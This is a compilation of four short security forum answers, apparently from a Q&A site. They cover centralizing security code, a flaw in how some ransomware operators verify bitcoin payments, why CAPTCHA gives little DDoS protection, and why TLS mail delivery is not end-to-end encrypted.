In my understanding this means, that the security relevant implementations should be centralized or included as isolated plugins/libraries. This ensures, that security relevant functionalities can be easily maintained and updated. E.g. when you have your crypto methods distributed all over the app, it is much harder to keep an overview and update them accordingly, if you encounter problems with your configuration etc.


Is it possible to "steal" someone else's ransomware bitcoin payment?

Yeah, you're right that in this type of setup it's possible for one ransomware victim to claim that someone else's transaction to the ransomware address was their own transaction, because all transactions including the transaction id and destination address are public.

The proper way for the ransomware operator to handle things would be for them to generate a new address for every victim. Just like how every Bitcoin exchange generates unique deposit addresses for every user, every Bitcoin payment processor generates a unique deposit address for each transaction, etc. The ransomware operator's use-case isn't truly different from those use-cases. The ransomware operators who use the "tell us your transaction id" solution picked their solution either out of laziness or lack of knowledge.


BY THE MAGICK POWER OF UNICORNS!!!

Snark aside, CAPTCHA is a very poor solution for D/DoS protection. While it does have some effect, this is minimal, and easily compensated for by the attackers.

CAPTCHA solves the wrong problem for this, and solves it badly.
CAPTCHA does not try to rate-limit the connections; it is not intended to protect the login mechanism from attacks; it is not possible for CAPTCHA to differentiate between attackers and legitimate users.

The only thing it does do - and not very well, at that - is, not surprisingly: Tell Computers and Humans Apart. This might in fact be useful to you, if you were in a Matrix-like reality, where all Computers are the enemy, and all Humans are allies.
In our reality, that is a pointless differentiation. Ostensibly, this might help with preventing scripted attacks - but even if this were true (it's not), there are plenty of ways to bypass that requirement - e.g. CAPTCHA proxies (where you need to solve a CAPTCHA before we show you dem pr0n) and CAPTCHA farms (where you hire some fareasterners to "solve" CAPTCHA for you, at 4$ per 1000 pops).
Moreover, in the case of DDoS - often this attack is mounted by "political movement" - i.e. large masses of humans decide to bring down a certain site. So yeah, CAPTCHA would be irrelevant here.

Besides all that, state-of-the-art CAPTCHA is far behind state-of-the-art OCR. If you want your users to easily decipher those squiggly images - the computer can do this too, pretty well. The best CAPTCHAs were measured at 20% OCR success rate - which effectively means that for every successful request, the attacker would simply need to send 5 requests. Not quite the order of magnitude that would make a substantial difference, to an attacker that is already planning on mounting a DDoS.

Some of my other posts here and on SO regarding this:

A good summary here on Sec.SE
Practical non-image based CAPTCHA approaches? on SO
Has reCaptcha been cracked / hacked / OCR'd / defeated / broken? on SO

TL;DR:
The question is based on a faulty assumption:

  How does CAPTCHA defend from DDoS attacks?

It doesn't.
At most it might require a bit more effort from the attacker, but not much.


If you use TLS to send a mail the mail gets send encrypted to the mail server you send it too. This step is similar to accessing a web site with HTTPS, i.e. the plain data get encrypted. But while with HTTPS you talk to the final server directly (end-to-end encryption) the situation is different with mail.

Mail gets delivered hop-by-hop using multiple mail servers until it finally reaches the recipients mail server. There it will be stored in the mailbox until the recipients retrieves the mail. When sending a mail with TLS you only control that the transfer to the first hop is done with TLS. You have no control over the following transfers and apart from that each mail server will be able to see the mail in plain text.

If you need to have end-to-end encryption with mail TLS does not provide this for you. PGP and S/MIME instead do but need to be supported by both sender and recipient which is usually not the case.